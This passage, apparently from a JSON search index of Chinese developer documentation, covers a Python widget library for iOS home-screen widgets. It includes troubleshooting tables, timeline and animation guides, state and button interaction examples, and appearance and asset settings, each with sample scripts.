构建期就会失败\nw.toggle(\"完成\", state=done, tint=\"#22C55E\")\n\n# ✅\nw.toggle(\"完成\", state=done, color=\"#22C55E\") 预览正常,桌面不对 原因 识别 修复 只在文档里 `previewWidget` 主屏从未添加组件 代码复制到 **Widget Studio** 发布 未在系统里添加小组件 App 已发布但主屏无入口 长按主屏 → **+** → 选 Python IDE 选错 Studio 项目 / 槽位 显示别的 widget 内容 添加时核对项目名称 WidgetKit 缓存旧快照 改代码后桌面仍旧 Studio **重新运行**发布 仍不更新 缓存顽固 **删除**主屏小组件 → 重新添加 改了 `widget.state` 的 key 点击计数错乱或归零 重新发布;建议删组件重装 文档预览 ≠ Studio 预览 参数/资源路径不同 以 Studio 项目目录为准 发布检查清单见 从脚本到桌面。 裁切与布局过挤 原因 识别 修复 large 布局塞进 small 仅 small 裁切 `ctx.is_family(\"small\")` 减行或藏次要内容 字号 / 边距不分 family medium 正常、small 爆版 `widget.family_value(16, small=14, large=18)` 可变文案无保护 长标题被 «…» 截断 `.line_limit(1).min_scale(0.65)`(格内可降到 `0.55`) `row` 塞太多列 small 数字叠在一起 改 `column` 或减少列数 表格线发粗 格子边框像厚框 用 `w.table(..., line_width=\"hairline\")`,勿 `rect` 拼线 锁屏 accessory 套 medium UI circular 几乎看不见 为 circular/rectangular/inline **单独写**布局 防裁切清单见 布局与尺寸。 参数与配置 原因 识别 修复 `param` 写在 `render()` 后 侧栏无参数 全部移到 UI 构建之前 `choice` 的 default 非法 构建报错 `default` 必须是 `options` 之一 `slider` 默认值为字符串 类型异常 用数字 `18`,不是 `\"18\"` 混淆 param 与 state 预览能改、桌面不变(或反之) 配色用 `param`,点击用 `state` 改参数名后桌面仍旧 旧实例绑旧 key 重新发布,必要时删组件重装 点击 / 链接无效 原因 识别 修复 `action` 写死字符串 点击完全无反应 `action=count.increment()` 传入 Python 函数 需拉起 App,Widget 内不执行 用 `widget.state` 工厂方法 Toggle 不记忆 显示开关但状态不回写 `w.toggle(..., state=done)` `toggle_item` 类型不一致 勾选状态错乱 `contains(i)` 与 `toggle_item(i)` 同类型 链接与按钮同区域 点哪都不对 链接、按钮分块;见 [交互](widget-interaction) 预览能点、桌面不能 未发布或 state key 已变 重新发布 + 桌面验证 count = widget.state.int(\"count\", 0)\n\n# ❌\nw.button(\"+\", action=\"increment\")\n\n# ✅\nw.button(\"+\", action=count.increment()) 动画与时间线 原因 识别 修复 无 `content_transition` 数字直接跳变 `.content_transition(\"numericText\")` 无稳定身份 动画时有时无 `.id(\"唯一名\")` 或绑 state/entry key 用 `entry` 绑交互数字 点击不变 交互用 `widget.state`,计划变化用 `widget.entry` timeline 无 `date` entry 顺序乱 每条 entry 写 ISO `date` 期望 60fps 循环 Widget 能力不支持 改用 timeline 分段或 `countdown` 桌面动画少于预览 系统合并刷新 正常;重新发布后仍无则查 entry/state 详见 时间线和动画。 外观与资源 原因 识别 修复 深色模式发灰 只有浅色图 `background_image((light, dark))` 或 `image(light=, dark=)` Tinted 模式颜色乱 节点默认参与染色 设计色 `.accentable(False)`,要跟系统 `.accentable(True)` 透明背景无效 仍有不透明底 `transparent_background` + `container_background(removable=True)` 背景图字看不清 照片太亮 `scrim=\"bottom\"` + `scrim_opacity` SVG / 图片不显示 预览路径空 文件放进 `assets/` 或侧栏 `param.file` 重选 详见 资源与外观。 布局诊断(w.validate) 构建后可用 w.validate() 检查当前 family 的布局风险。Studio 预览若出现 「Widget 诊断」 ,需按提示修 阻断项 后再发布。 import widget\n\nw = widget.Widget(background=\"#FFFFFF\", padding=14)\nw.text(\"标题\", size=16).line_limit(1)\n# ... 构建 UI ...\n\nreport = w.validate(family=widget.SMALL) # 在 w.render() 之前调用\nprint(report[\"status\"]) # clean | warning | error\nfor issue in report.get(\"issues\", []):\n print(issue[\"code\"], issue[\"message\"])\nw.render() validate() 读取当前已构建的 UI 树;须在 w.render() 之前 调用。Studio 构建时也会按 family 自动跑诊断。 常见诊断码(非完整列表): 代码 含义 建议 `text_size_too_large` 字号相对 family 过大 减小 `size` 或 `family_value` 分支 `offset_clip_risk` 偏移过大可能裁切 减小 `offset`;用布局容器代替硬偏移 `chart_height_risk` 图表过高挤占版面 降低 `height`;small 隐藏图表 `frame_width_overflow` 固定宽超出内容区 减小 `frame` 或改用流式布局 `frame_height_overflow` 固定高超出内容区 同上 对 small、medium、large 各跑一次验证(脚本在 Studio 会按 family 多次构建)。Widget 建议 为可优化提示; 阻断项 必须修掉。 二分定位模板 复杂脚本卡住时,按顺序恢复功能: 步骤 加回什么 验证什么 1 仅 `Widget` + `text` + `render` 基线预览 2 `widget.param` 一两个 侧栏参数出现 3 `widget.state` + 一个按钮 点击有反应 4 `row` / `column` / 图表 各 family 无裁切 5 图片 / SVG / `background_image` 资源路径正确 6 `w.timeline` + `entry` / `flip` 预览 entry 轮播 7 Studio 发布 → 桌面添加 端到端一致 某步开始失败时,问题就在 刚加回的那一类 API 。 仍解决不了? 收集这些信息便于反馈或自查: 入口 :文档预览 / Widget Studio / MiniApp 工程 family :small / medium / large / 锁屏 accessory 现象截图 + Studio 构建日志 最后 30 行 w.validate() 对应该 family 的 issues 是否已 重新发布 并 删除重装 桌面小组件 相关文档 文档 用途 [widget 概览](widget-module) API 与心智模型 [从脚本到桌面](widget-quickstart-publish) 发布与桌面验证 [布局与尺寸](widget-layout) 裁切、family 预算 [参数面板](widget-parameters) `widget.param` [状态和交互](widget-interaction) 按钮、开关、链接 [时间线和动画](widget-timeline) numericText、timeline [资源与外观](widget-appearance-assets) 双色图、accentable [API 参考](widget-api-reference) 签名核对 相关 API:widget api reference.md" + }, + { + "id": "widget-timeline", + "title": "widget 时间线和动画", + "subtitle": "timeline/entry、state 数字动画、flip 翻页与 countdown 倒计时。", + "section": "widget / 小组件", + "url": "pages/widget-timeline/", + "text": "widget 时间线和动画 timeline/entry、state 数字动画、flip 翻页与 countdown 倒计时。 widget 小组件 Widget Timeline Animation widget timeline widget.entry numericText flip countdown timer_text 动画 时间线 content_transition transition animation 刷新 翻页 widget 时间线和动画 Widget 动画由 WidgetKit 在数据更新时 触发:timeline entry 切换、AppIntent 改写 widget.state,或系统按计划刷新。不是 App 里的 60fps 循环动画。 边界 :本篇讲 w.timeline、widget.entry、数字过渡与 flip。布局防裁切见 布局与尺寸;按钮触发 state 见 状态和交互。 本篇目标 项 说明 两类数据源 **`widget.state`**(桌面点击)与 **`widget.entry`**(时间线条目字段) 数字动画 `.content_transition(\"numericText\")` + `.monospaced_digit()` + `.id(...)` 时间线 `w.timeline(entries=[...], update=, after=)` 声明未来快照 翻页块 `w.flip(current, previous=...)` 配合 entry 前后值 系统计时 `w.countdown` / `w.timer_text` — WidgetKit 原生倒计时 限制 无持续循环;刷新时机由系统调度 快速开始 桌面点「消费」后余额数字滚动过渡——这是 state + numericText ,不依赖 timeline。 预期效果:小组件预览面板显示与脚本一致的布局与交互。 import widget\n\nbalance = widget.state.int(\"balance\", 1280)\naccent = widget.param.color(\"主色\", \"#10B981\")\nnum_size = widget.family_value(42, small=34, large=52)\n\nw = widget.Widget(background=(\"#ECFDF5\", \"#064E3B\"), padding=14)\nw.text(\"零钱罐\", size=14, color=\"secondary\").line_limit(1)\n(\n w.value(balance.text(\"¥{}\"))\n .id(\"balance\")\n .font_size(num_size)\n .monospaced_digit()\n .content_transition(\"numericText\")\n .line_limit(1)\n .min_scale(0.65)\n)\n(\n w.button(\"消费 ¥10\", action=balance.decrement(by=10), background=accent, color=\"#FFFFFF\")\n .line_limit(1)\n .min_scale(0.72)\n)\nw.render() 要点: balance.text(\"¥{}\"):把 state 格式化成带货币符号的展示串,同时保留 state 绑定。 .content_transition(\"numericText\"):数值变化时系统数字滚动动画。 .id(\"balance\"):给变化节点稳定身份,动画更可靠。 预览里点按钮即可看动画;桌面需发布后在小组件上点击。 心智模型 ┌─────────────────────────────────────┐\n │ WidgetKit 刷新时机 │\n └─────────────────────────────────────┘\n 系统调度 / timeline 到期 / AppIntent 改 state\n ↓\n 当前 entry 字段 或 state 新值 写入快照\n ↓\n 节点带 content_transition / flip / animation / transition\n ↓\n 系统播放一次过渡动画 widget.state vs widget.entry `widget.state` `widget.entry` 谁写入 桌面 **AppIntent**(按钮、开关) **`w.timeline` entries** 每条快照 典型用途 计数器、余额、开关 按计划变化的展示数、翻页前后值 绑定写法 `widget.state.int(\"key\", 0)` `widget.entry.int(\"price\", 0.58)` 格式化 `count.text(\"{} 次\")` `price.text(\"{:.2f}\")` 动画触发 点击后 state 变 预览/桌面切到下一 entry 同一张卡片可以 同时 有 state(交互)和 entry(定时),但动画字段要各绑各的 key,不要混用。 动画 API 怎么选 API 适合 `.content_transition(\"numericText\")` `value()` / 数字 state / entry 变化 `.content_transition(\"opacity\")` 文案淡入淡出 `.animation(\"smooth\", value_by=\"price\")` entry 字段变化时额外平滑(常配合 numericText) `.transition(\"push\", edge=\"bottom\")` 节点插入/替换方向 `w.flip(current, previous=...)` 翻页钟、日历块、前后对比数字 `w.countdown(..., target=)` 距某时刻剩余时间(系统驱动) 时间线示例 分时电价(timeline + entry + 数字动画) 声明 3 条未来快照;price / prev_price 为 entry 字段。预览里时间线会按条目轮播(Studio 约每秒切一帧)。 预期效果:小组件预览面板显示与脚本一致的布局与交互。 import widget\nfrom datetime import datetime, timedelta, timezone\n\nnow = datetime.now(timezone.utc).replace(second=0, microsecond=0)\nprice = widget.entry.float(\"price\", 0.62)\nprev_price = widget.entry.float(\"prev_price\", 0.68)\naccent = widget.param.color(\"强调色\", \"#F59E0B\")\n\nw = widget.Widget(background=(\"#FFFBEB\", \"#292524\"), padding=14)\nw.timeline(\n entries=[\n {\"date\": now.isoformat(), \"price\": 0.68, \"prev_price\": 0.72},\n {\"date\": (now + timedelta(hours=1)).isoformat(), \"price\": 0.62, \"prev_price\": 0.68},\n {\"date\": (now + timedelta(hours=2)).isoformat(), \"price\": 0.55, \"prev_price\": 0.62},\n ],\n update=\"end\",\n)\nw.text(\"分时电价\", size=14, color=\"secondary\").line_limit(1)\n(\n w.value(price.text(\"{:.2f}\"), unit=\"元/度\")\n .content_transition(\"numericText\")\n .animation(\"smooth\", duration=0.35, value_by=\"price\")\n .monospaced_digit()\n .line_limit(1)\n .min_scale(0.72)\n)\nif not widget.context.is_family(\"small\"):\n (\n w.text(prev_price.text(\"上一档 {:.2f}\"), size=11, color=\"secondary\")\n .line_limit(1)\n .min_scale(0.72)\n )\nw.render() 每条 entry 是 dict; 必须含 date (ISO 8601 字符串,建议 UTC)。 entry 里其它 key(price、prev_price)与 widget.entry. (\"price\", ...) 的 name 对应。 update=\"end\":在最后一条 entry 之后请求刷新(映射 WidgetKit .atEnd)。 翻页分钟(flip) flip 需要 当前值 与 previous 两个 entry 字段;适合时钟、日历翻页。 预期效果:小组件预览面板显示与脚本一致的布局与交互。 import widget\nfrom datetime import datetime, timedelta, timezone\n\nnow = datetime.now(timezone.utc).replace(second=0, microsecond=0)\nminute = widget.entry.int(\"minute\", 41)\nprev_minute = widget.entry.int(\"prev_minute\", 40)\naccent = widget.param.color(\"数字色\", \"#38BDF8\")\n\nflip_w = widget.family_value(110, small=88, large=130)\nflip_h = widget.family_value(72, small=58, large=88)\nflip_sz = widget.family_value(44, small=32, large=52)\n\nw = widget.Widget(background=(\"#0B1220\", \"#020617\"), padding=16)\nw.timeline(\n entries=[\n {\"date\": now.isoformat(), \"minute\": 41, \"prev_minute\": 40},\n {\"date\": (now + timedelta(minutes=1)).isoformat(), \"minute\": 42, \"prev_minute\": 41},\n {\"date\": (now + timedelta(minutes=2)).isoformat(), \"minute\": 43, \"prev_minute\": 42},\n ],\n update=\"end\",\n)\nw.text(\"当前分钟\", size=13, color=\"#94A3B8\").line_limit(1).min_scale(0.72).line_limit(1)\n(\n w.flip(\n minute.text(\"{:02d}\"),\n previous=prev_minute.text(\"{:02d}\"),\n width=flip_w,\n height=flip_h,\n size=flip_sz,\n color=\"#F8FAFC\",\n background=\"#1E293B\",\n corner_radius=10,\n direction=\"up\",\n )\n .id(\"flip-minute\")\n)\nw.render() minute.text(\"{:02d}\"):entry 整数格式化为两位(与 Python 占位符一致)。 direction=\"up\" / \"down\" 控制翻页方向;尺寸用 family_value 防 small 溢出。 阶段文案(entry + transition) 非数字也可用 entry 驱动;文案切换加 content_transition / transition。 预期效果:小组件预览面板显示与脚本一致的布局与交互。 import widget\nfrom datetime import datetime, timedelta, timezone\n\nnow = datetime.now(timezone.utc).replace(second=0, microsecond=0)\nphase = widget.entry.str(\"phase\", \"候场\")\naccent = widget.param.color(\"主色\", \"#8B5CF6\")\n\nw = widget.Widget(background=(\"#FAF5FF\", \"#1E1B4B\"), padding=14)\nw.timeline(\n entries=[\n {\"date\": now.isoformat(), \"phase\": \"候场\"},\n {\"date\": (now + timedelta(minutes=3)).isoformat(), \"phase\": \"演讲进行中\"},\n {\"date\": (now + timedelta(minutes=20)).isoformat(), \"phase\": \"问答环节\"},\n ],\n update=\"end\",\n)\nw.text(\"活动状态\", size=14, color=\"secondary\").line_limit(1)\n(\n w.text(phase, size=18, weight=\"semibold\", color=accent)\n .id(\"phase-label\")\n .content_transition(\"opacity\")\n .transition(\"push\", edge=\"bottom\")\n .line_limit(1)\n .min_scale(0.72)\n)\nw.render() 系统倒计时(无需手写 entries) 距目标时刻的剩余时间由 WidgetKit 自动走时 ;适合会议、车次、截止时间。 预期效果:小组件预览面板显示与脚本一致的布局与交互。 import widget\nfrom datetime import datetime, timedelta, timezone\n\neta = datetime.now(timezone.utc) + timedelta(hours=1, minutes=25)\naccent = widget.param.color(\"主色\", \"#6366F1\")\n\nw = widget.Widget(background=(\"#EEF2FF\", \"#1E1B4B\"), padding=14)\nw.text(\"会议倒计时\", size=14, weight=\"semibold\").line_limit(1).min_scale(0.72)\n(\n w.countdown(\n \"距离会议\",\n target=eta.isoformat(),\n subtitle=\"三楼 302 · 可提前 5 分钟入场\",\n accent=accent,\n )\n)\nw.render() target 接受 ISO 8601 字符串或 datetime。 底层使用 timer_text;与 w.timeline 互补:一个管「走到某时刻」,一个管「预先排好的多条快照」。 w.timeline 刷新策略 `update` 行为 `\"after\"`(默认) 在 `after` 指定时刻之后请求下次刷新;或用 `interval`(秒) `\"end\"` / `\"atEnd\"` 在最后一条 entry 之后刷新 `\"never\"` 不再自动刷新 `\"rapid\"` 向系统请求更频繁刷新;**不保证**实时频率,仍受 WidgetKit 预算合并 from datetime import datetime, timedelta, timezone\n\nnow = datetime.now(timezone.utc)\nw.timeline(\n entries=[{\"date\": now.isoformat(), \"value\": 1}],\n update=\"after\",\n after=(now + timedelta(minutes=30)).isoformat(),\n)\n\n# 或用间隔秒数(桌面映射为 after = now + interval)\nw.timeline(entries=[...], update=\"after\", interval=900) 注意: 没有 timeline 时,桌面主要靠系统刷新预算 + 用户点击改 state。 update=\"rapid\" 适合「希望尽量跟紧」的场景(如短周期电价、临近截止的倒计时),但仍是 请求 而非定时器;系统可能合并或延后刷新,构建诊断可能给出 warning。 预览里 Studio 轮播 entry(约每秒一帧) 不等于 桌面刷新频率;桌面由 WidgetKit 调度。 .animation(..., duration=, value_by=) 的 duration 控制过渡时长;value_by 填 entry 字段名(如 \"price\"),与 content_transition(\"numericText\") 常一起用。 推荐写法速查 交互数字(state) score = widget.state.int(\"score\", 0)\n(\n w.value(score, unit=\"分\")\n .id(\"score\")\n .monospaced_digit()\n .content_transition(\"numericText\")\n)\nw.button(\"+\", action=score.increment()) 时间线数字(entry) amount = widget.entry.int(\"amount\", 100)\nw.timeline(entries=[\n {\"date\": \"2026-06-10T08:00:00Z\", \"amount\": 100},\n {\"date\": \"2026-06-10T09:00:00Z\", \"amount\": 128},\n], update=\"end\")\n(\n w.value(amount.text(\"{}\"))\n .content_transition(\"numericText\")\n .animation(\"smooth\", value_by=\"amount\")\n) 稳定身份 变化频繁的节点建议 .id(\"唯一串\");entry 绑定节点也可自动生成 entry:price 类身份,显式 id 更利于排查。 常见错误 错误写法 后果 修正 只有 `value(count)` 无 `content_transition` 数字跳变无动画 加 `.content_transition(\"numericText\")` 用 `widget.state` 绑 timeline 字段 entry 不随时间线变 timeline 字段用 `widget.entry.*` entry 无 `date` 顺序错乱或只用间隔推算 每条写 ISO `date` `flip` 只有当前值无 `previous` 翻页效果弱 同时声明 `previous=prev_*.text(...)` 期望 60fps 循环 Widget 不支持 改用 timeline 分段或 `countdown` 改 timeline 不重新发布 桌面仍旧快照 重新运行发布 失败路径 现象 处理 点击按钮数字不动 确认 `action` 来自 `widget.state`;已加 `content_transition` 预览 timeline 不轮播 检查 `entries` 非空、`date` 合法;重新运行预览 数字无动画、直接跳 加 `.monospaced_digit()`、`.id(...)`、`content_transition` `flip` 不翻页 确认 `previous` 绑 entry;timeline 至少 2 条 桌面时间不更新 发布最新构建;`countdown` 的 `target` 是否在未来 预览正常、桌面无动画 系统可能合并刷新;删小组件重装;查 [排错](widget-troubleshooting) 动画卡顿或缺失 减少同屏动画节点;small 降低 `font_size` / flip 尺寸 相关文档 文档 用途 [widget 概览](widget-module) 总览 [状态和交互](widget-interaction) `widget.state`、AppIntent [布局与尺寸](widget-layout) `family_value`、防裁切 [从脚本到桌面](widget-quickstart-publish) 发布后在桌面验证 [排错](widget-troubleshooting) 预览/桌面不一致 [API 参考](widget-api-reference) `timeline`、`entry`、`flip`、修饰符签名 相关 API:widget api reference.md" + }, + { + "id": "widget-interaction", + "title": "widget 状态和交互", + "subtitle": "widget.state、按钮 ±、习惯清单、开关与链接;AppIntent 桌面交互。", + "section": "widget / 小组件", + "url": "pages/widget-interaction/", + "text": "widget 状态和交互 widget.state、按钮 ±、习惯清单、开关与链接;AppIntent 桌面交互。 widget 小组件 Widget Interaction AppIntent widget state widget.state button toggle toggle_item AppIntent increment decrement 链接 link 点击没反应 交互 习惯清单 state.list widget 状态和交互 桌面小组件 不执行任意 Python 回调 。按钮、开关、列表勾选只能触发受控 AppIntent :改写 widget.state、刷新时间线,或打开链接。 边界 :本篇讲 桌面点击 与 widget.state。预览面板里的配色、标题默认值用 widget.param,不要混用。 本篇目标 项 说明 何时用 计数器、完成开关、习惯勾选、打开网页/深链 核心 API `widget.state.*` → `.increment()` / `.toggle()` / `.toggle_item()` 节点 `w.button(..., action=)`、`w.toggle(..., state=)`、`w.link(...)` 限制 `action=` 必须来自 state 工厂;不能传 Python 函数 发布后 改 state key 需重新发布;桌面可能需删组件重装 快速开始 单按钮累加 + 数字过渡:比 概览 · 饮水打卡 的 ± 环图更简单,专讲 action 与 numericText。 预期效果:小组件预览面板显示与脚本一致的布局与交互。 import widget\n\nstreak = widget.state.int(\"streak\", 0)\naccent = widget.param.color(\"主色\", \"#2563EB\")\n\nw = widget.Widget(background=(\"#FFFFFF\", \"#0F172A\"), padding=14)\nw.text(\"连续签到\", size=16, weight=\"semibold\").line_limit(1)\n(\n w.value(streak, unit=\"天\")\n .id(\"streak\")\n .content_transition(\"numericText\")\n .monospaced_digit()\n .line_limit(1)\n .min_scale(0.72)\n)\n(\n w.button(\"签到\", action=streak.increment(), background=accent, color=\"#FFFFFF\")\n .line_limit(1)\n .min_scale(0.72)\n .pressed(scale=0.94)\n)\nw.render() 要点: streak.increment() 返回 AppIntent,赋给 action=; 不能 写字符串或 Python 函数。 .content_transition(\"numericText\") + .id(...):数字变化时系统过渡动画。 .pressed(scale=0.94) 等价于 button(..., press={\"scale\": 0.94})。 widget.param.color 只调配色,不改桌面计数值。 交互示例 习惯清单(state.list + toggle_item) 多项勾选用 widget.state.list;每项 done.toggle_item(i) 切换是否在列表里。 预期效果:小组件预览面板显示与脚本一致的布局与交互。 import widget\n\nhabits = [\"晨跑\", \"喝水 8 杯\", \"阅读 30 分\", \"整理桌面\"]\ndone = widget.state.list(\"habits_done\", [])\naccent = widget.param.color(\"完成色\", \"#22C55E\")\n\nw = widget.Widget(background=(\"#FAFAFA\", \"#1C1C1E\"), padding=14)\nw.text(\"今日习惯\", size=16, weight=\"semibold\").line_limit(1)\nfor i, label in enumerate(habits):\n checked = done.contains(i)\n mark = \"✓ \" if checked else \"○ \"\n (\n w.button(\n mark + label,\n action=done.toggle_item(i),\n style=\"plain\",\n color=accent if checked else \"secondary\",\n size=13,\n )\n .line_limit(1)\n .min_scale(0.72)\n )\nw.render() done.contains(i):预览/桌面判断第 i 项是否已勾选;toggle_item(i) 的 i 类型须与 contains 一致。 多项也可用多个 w.toggle(..., state=);长清单用 state.list 更省节点。 九宫格、Bingo 等表格布局见 布局与尺寸 的 table() 示例。 开关(state.bool + w.toggle) 布尔状态用 state= 绑定, 不要 手写静态 True/False 配假 action。 预期效果:小组件预览面板显示与脚本一致的布局与交互。 import widget\n\nalarm_on = widget.state.bool(\"alarm_on\", False)\naccent = widget.param.color(\"开启色\", \"#F59E0B\")\n\nw = widget.Widget(background=(\"#FFFBEB\", \"#292524\"), padding=14)\nw.text(\"早起闹钟\", size=16, weight=\"semibold\").line_limit(1)\nw.toggle(\"明早 7:00\", state=alarm_on, color=accent, style=\"switch\")\n# 脚本每次重建时读取 state 当前值(非 AppUI 式实时绑定)\nstatus = \"已开启,记得早睡\" if alarm_on else \"已关闭\"\nw.text(status, size=13, color=accent if alarm_on else \"secondary\").line_limit(1).min_scale(0.72)\nw.render() w.toggle(..., color=accent):着色用 color=, 没有 tint= 参数。 style=\"switch\" / \"checkbox\" 控制外观;与 state= 搭配最省事。 链接(w.link) 链接打开 URL;与按钮/开关 不要叠在同一块可点区域 。 预期效果:小组件预览面板显示与脚本一致的布局与交互。 import widget\n\nlabel = widget.param.text(\"链接标题\", \"Apple 官网\")\naccent = widget.param.color(\"链接色\", \"#2563EB\")\n\nw = widget.Widget(background=(\"#FFFFFF\", \"#111827\"), padding=14)\nw.text(\"快捷入口\", size=16, weight=\"semibold\").line_limit(1)\nw.link(label, \"https://www.apple.com\", icon=\"safari.fill\", color=accent)\nw.text(\"点击在 Safari 打开\", size=12, color=\"secondary\").line_limit(1).min_scale(0.72)\nw.render() 第一参数是显示标题,第二参数是 URL 字符串。 可选 icon= 在标题旁显示 SF Symbol。 icon= 时返回行容器,不能链 .line_limit() ;无 icon 时返回 text 句柄才可链修饰符。 整块链接与局部 button 分清层级;同一容器不要既当链接又塞按钮。 心智模型 widget.state.int/bool/list/... ← 桌面持久化\n ↓\n.increment() / .toggle() / .toggle_item(i) ← AppIntent 工厂\n ↓\nw.button(..., action=...) 或 w.toggle(..., state=...)\n ↓\n用户点击 → 扩展执行 Intent → 状态改写 → WidgetKit 刷新时间线 先声明 state :在 Widget() 构建前,与 widget.param 同级。 action 只接工厂方法 :count.increment()、done.toggle()、items.toggle_item(2)。 开关优先 state= :w.toggle(\"标题\", state=done),让运行时自动绑 done.toggle()。 链接不走 state :w.link(title, url) 直接打开;深链同样写 URL 字符串。 改 key 要重发 :\"score\" 改成 \"points\" 后,旧桌面实例可能仍读写 \"score\"。 与 widget.param 怎么分 `widget.param` `widget.state` 谁改 预览面板 / Studio 桌面点击 典型 主题色、默认标题 计数、开关、清单勾选 传给 UI `color=`、`background=` `value` / `state=` + `action` API 参考 状态类型 API 适合 常用动作 `widget.state.int(key, default)` 次数、步数、分数 `.increment(by=1)`、`.decrement(by=1)`、`.set(n)` `widget.state.float(key, default)` 进度、比例 同上 `widget.state.bool(key, default)` 完成、开启 `.toggle()`;配合 `w.toggle(..., state=)` `widget.state.str(key, default)` 当前模式、选中项 `.set(\"模式A\")` `widget.state.list(key, default)` 多选清单、Bingo `.toggle_item(item)`、`.contains(item)`、`.set([])` key 是持久化 ID;改名等同新状态,需重新发布。 交互节点 count = widget.state.int(\"count\", 0)\ndone = widget.state.bool(\"done\", False)\nitems = widget.state.list(\"picked\", [])\n\nw.button(\"加 1\", action=count.increment())\nw.button(\"减 2\", action=count.decrement(by=2))\nw.button(\"归零\", action=count.set(0), style=\"plain\")\nw.toggle(\"完成\", state=done, color=\"#22C55E\")\nw.button(\"选 A\", action=items.toggle_item(\"A\"), style=\"plain\")\nw.link(\"文档\", \"https://example.com\", icon=\"book.fill\") 动效修饰(可选) w.button(\"+\", action=count.increment()).pressed(scale=0.94)\nw.value(count).content_transition(\"numericText\").monospaced_digit() 数字变化动画见 时间线和动画;完整签名见 API 参考。 常见错误 错误写法 后果 修正 `action=\"increment\"` 或 Python 函数 点击无反应 用 `count.increment()` 等工厂 `w.toggle(..., tint=accent)` `TypeError` 用 `color=accent` 静态 `True` + 手写 toggle action 开关不保存 `w.toggle(..., state=done)` 用 `widget.param.bool` 当桌面开关 只在预览里变 交互用 `widget.state.bool` 链接容器里再塞 `button` 点击区域冲突 链接、按钮分块布局 改 state key 不重发 计数错乱或归零 重新发布;删桌面组件重装 失败路径 现象 处理 按钮点击没反应 确认 `action` 来自 `widget.state` 工厂方法 Toggle 显示但不记忆 改用 `state=`,勿拼静态布尔 清单勾选无效 `toggle_item` 的参数类型与 `contains` 一致(都用 `int` 或都用 `str`) 链接打不开 检查 URL 含 `https://`;勿与按钮叠层 点击后桌面仍旧 AppIntent 已执行但 WidgetKit 缓存 → 重新运行发布;删组件重装 预览能点、桌面不能 确认已走 [从脚本到桌面](widget-quickstart-publish) 发布流程 相关文档 文档 用途 [widget 概览](widget-module) 总览与入门示例 [参数面板](widget-parameters) `widget.param` 与 state 区分 [从脚本到桌面](widget-quickstart-publish) 发布后在桌面验证交互 [布局与尺寸](widget-layout) `table()` 九宫格、`row()` 横排 [时间线和动画](widget-timeline) `content_transition`、数字过渡 [排错](widget-troubleshooting) 预览/桌面不一致 [API 参考](widget-api-reference) `widget.state`、`button`、`toggle`、`link` 签名 相关 API:widget api reference.md" + }, + { + "id": "widget-appearance-assets", + "title": "widget 资源与外观", + "subtitle": "渐变/双色背景、accentable 染色、图片/SVG/Symbol、透明与隐私占位。", + "section": "widget / 小组件", + "url": "pages/widget-appearance-assets/", + "text": "widget 资源与外观 渐变/双色背景、accentable 染色、图片/SVG/Symbol、透明与隐私占位。 widget 小组件 Widget Appearance Assets widget appearance background_image gradient transparent tinted accentable svg symbol image save_image 深色图片 透明 染色 container background privacy_sensitive redacted widget 资源与外观 WidgetKit 负责浅色/深色、透明、系统染色(Tinted)等外观策略。脚本只 声明意图 ——颜色、背景、图标、图片路径——不要用手写遮罩去模拟系统行为。 边界 :本篇讲背景、图标、图片、SVG 与 .accentable() 等外观 API。可调默认配色用 widget.param;布局防裁切见 布局与尺寸。 本篇目标 项 说明 背景 纯色、`(浅色, 深色)`、渐变 `dict`、`background_image` 系统表面 `container_background`、`transparent_background`、`content_margins` 图标 `w.symbol`(SF Symbol)、`w.svg`(矢量文件) 位图 `w.image`、`widget.param.file`、`widget.save_image` 染色 `.accentable(True/False)` 控制是否参与系统 Tinted 隐私 `.privacy_sensitive()`、`.redacted()` 锁屏占位 快速开始 渐变根背景 + 浅色文字,无需外部图片即可预览。 预期效果:小组件预览面板显示与脚本一致的布局与交互。 import widget\n\nw = widget.Widget(\n background={\n \"gradient\": [\"#4F46E5\", \"#7C3AED\", \"#DB2777\"],\n \"direction\": \"vertical\",\n },\n padding=16,\n)\nwith w.row(spacing=10):\n w.symbol(\"sparkles\", scale=\"medium\").color(\"#FFFFFF\")\n w.text(\"今日灵感\", size=16, weight=\"semibold\", color=\"#FFFFFF\").line_limit(1)\nw.text(\"写一段只给自己的话\", size=13, color=\"#E0E7FF\").line_limit(2).min_scale(0.72)\nw.render() 要点: Widget(background=...) 支持单色、(\" F8FAFC\", \" 0F172A\") 双色、或 {\"gradient\": [...], \"direction\": \"vertical\"}。 文字颜色可写十六进制或语义名 \"secondary\"(随系统外观变化)。 渐变方向常用 \"vertical\" / \"horizontal\"。 心智模型 脚本声明外观意图(颜色 / 背景 / 资源路径 / accentable)\n ↓\n PythonIDE 生成 Widget IR + 资源清单\n ↓\n WidgetKit 按系统外观(浅色 / 深色 / Tinted / 透明)渲染 背景 API 怎么选 API 作用 `Widget(background=...)` 卡片内容区底色(纯色 / 双色 / 渐变) `w.container_background(..., removable=)` 系统 Widget **容器**背景(可请求移除) `w.background_image(...)` 铺满容器的背景图 + 遮罩 `w.transparent_background(True)` 请求透明(宿主是否允许由系统决定) `w.content_margins(False)` 边到边布局,去掉系统内容边距 普通卡片用 Widget(background=...);需要 照片墙 时用 background_image;需要 融入主屏壁纸 时组合 transparent_background + container_background(..., removable=True)。 资源路径约定 来源 写法 脚本同目录 `\"cover.jpg\"` `assets/` 子目录 `\"assets/icon.svg\"` 用户文件参数 `widget.param.file(\"封面\", \"assets/cover.jpg\", extensions=[...])` 运行时注册 `widget.save_image(url_or_bytes, \"avatar\")` → `w.image(\"avatar\")` 远程 URL `w.image(\"https://example.com/pic.png\")`(需网络,注意缓存) 深色模式应为图片提供 dark 变体 ,不要只靠压暗浅色图。 外观示例 系统染色(accentable) Tinted / 强调色模式下,只有 .accentable(True) 的节点会跟随系统染色;标题等需保持自定义色时显式 .accentable(False)。 预期效果:小组件预览面板显示与脚本一致的布局与交互。 import widget\n\nshow = widget.param.text(\"标题\", \"专注电台\")\nsubtitle = widget.param.text(\"副标题\", \"深度工作 · 25 分钟\")\n\nw = widget.Widget(background=(\"#F8FAFC\", \"#0F172A\"), padding=14)\nw.container_background((\"#F8FAFC\", \"#0F172A\"), removable=True)\nw.content_margins(False)\n(\n w.text(show, size=16, weight=\"semibold\")\n .line_limit(1)\n .min_scale(0.72)\n .accentable(False)\n)\n(\n w.text(subtitle, size=12, color=\"secondary\")\n .line_limit(1)\n .min_scale(0.72)\n .accentable(False)\n)\n(\n w.symbol(\n \"waveform.circle.fill\",\n rendering=\"palette\",\n palette=[\"#F59E0B\", \"#2563EB\"],\n variant=\"fill\",\n scale=\"large\",\n )\n .accentable(True)\n)\nw.render() w.container_background(..., removable=True):允许系统在支持场景移除容器底。 